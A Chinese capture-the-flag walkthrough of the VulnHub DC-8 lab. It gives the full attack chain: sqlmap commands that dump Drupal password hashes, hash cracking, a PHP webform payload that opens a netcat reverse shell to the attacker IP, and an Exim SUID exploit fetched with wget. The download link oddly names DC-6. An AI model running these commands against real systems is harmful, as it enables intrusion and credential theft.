DC-8
目錄
- 環境搭建
- 滲透測試
環境搭建
- 靶機映象下載地址:https://vulnhub.com/entry/dc-6,315/
- 需要將靶機和 kali 攻擊機放在同一個區域網裡;
- 本實驗kali 的 IP 地址:192.168.10.146。
滲透測試
使用 nmap 掃描 192.168.10.0/24 網段存活主機
┌──(root💀kali)-[~/桌面]
└─# nmap -sP 192.168.10.0/24
經判斷,目標主機IP地址為192.168.10.154。
掃描開放的服務。
┌──(root💀kali)-[~/桌面]
└─# nmap -sS 192.168.10.154
經測試,這裡是存在sql注入的,並且是數字型注入。
http://192.168.10.154/?nid=2-1
http://192.168.10.154/?nid=1 order by 1 // 只有一個欄位
直接上sqlmap
// 獲取庫
sqlmap -u "http://192.168.10.154/?nid=1" -p nid --dbs
// 獲取表
sqlmap -u "http://192.168.10.154/?nid=1" -p nid -D d7db --tables
// 獲取列
sqlmap -u "http://192.168.10.154/?nid=1" -p nid -D d7db -T users --columns
// 獲取資料
sqlmap -u "http://192.168.10.154/?nid=1" -p nid -D d7db -T users -C name,pass
| admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
| john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
使用john工具對密碼進行解密
┌──(root💀kali)-[~/桌面]
└─# vim a.txt // 將密文放入檔案
┌──(root💀kali)-[~/桌面]
└─# john a.txt // 開始解密
解出john的密碼為 turtle。
進行後臺目錄掃描。
http://192.168.10.154:80/user/
是一個登入頁。
輸入剛才破解出的密碼登入,可以登入成功。
尋找網站漏洞。在Contact US — Webform — Form setting處存在遠端程式碼執行。
寫入程式碼之後,隨意提交些內容
寫入的程式碼會執行。
寫入建立反彈shell的程式碼。
<?php
system("nc -e /bin/bash 192.168.10.146 4444");
?>
成功獲取到反彈shell。
開始提權
查詢帶suid的檔案
發現 exim4帶有suid許可權。
- Exim是一個MTA(Mail Transfer Agent,郵件傳輸代理)伺服器軟體,該軟體基於GPL協議開發,是一款開源軟體。
搜尋exim 相關的exp
┌──(root💀kali)-[~/桌面]
└─# searchsploit exim
檢視指令碼使用方式:一共兩種使用方式
將指令碼複製到kali網站根目錄
┌──(root💀kali)-[~/桌面]
└─# cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html
然後再目標主機上,進入tmp目錄,將46996.sh下載下來。
wget http://192.168.10.146/46996.sh
直接按用法的方式執行,提示Permission denied,需要新增許可權。
再次執行:
www-data@dc-8:/tmp$ ./46996.sh -m setuid
www-data@dc-8:/tmp$ ./46996.sh -m netcat
提示:bash: ./46996.sh: /bin/bash^M: bad interpreter: No such file or directory
/bin/bash^M
這裡看似多了一個^M
,
使用vi 檢視下該指令碼,可以發現,每一行後都有一個^M
。
www-data@dc-8:/tmp$ vi 46996.sh
📌在Windows下每一行結尾是\n\r,而Linux下則是\n,所以才會有 多出來的\r。
這就是說,把一個檔案從一種系統移到另一種系統,就有換行符的麻煩。如:用 vi 來嘗試編輯一個採用 MS-DOS 格式的檔案,你將會發現每一行的末尾有個 ^M 字元。(^M 就是 )。
set ff=unix ,就是告訴 vi 編輯器,使用unix換行符
set ff=dos ,就是告訴 vi 編輯器,使用dos換行符
在末行模式下輸入set ff=unix
。然後再重新下載。
新增許可權,
www-data@dc-8:/tmp$ chmod 777 46996.sh
使用第一個方式提權失敗~
./46996.sh -m setuid
./46996.sh -m netcat
順利達到flag。
參考連結:
- https://blog.csdn.net/weixin_45744814/article/details/120113301
- https://blog.csdn.net/chixiguadelaoye/article/details/105156242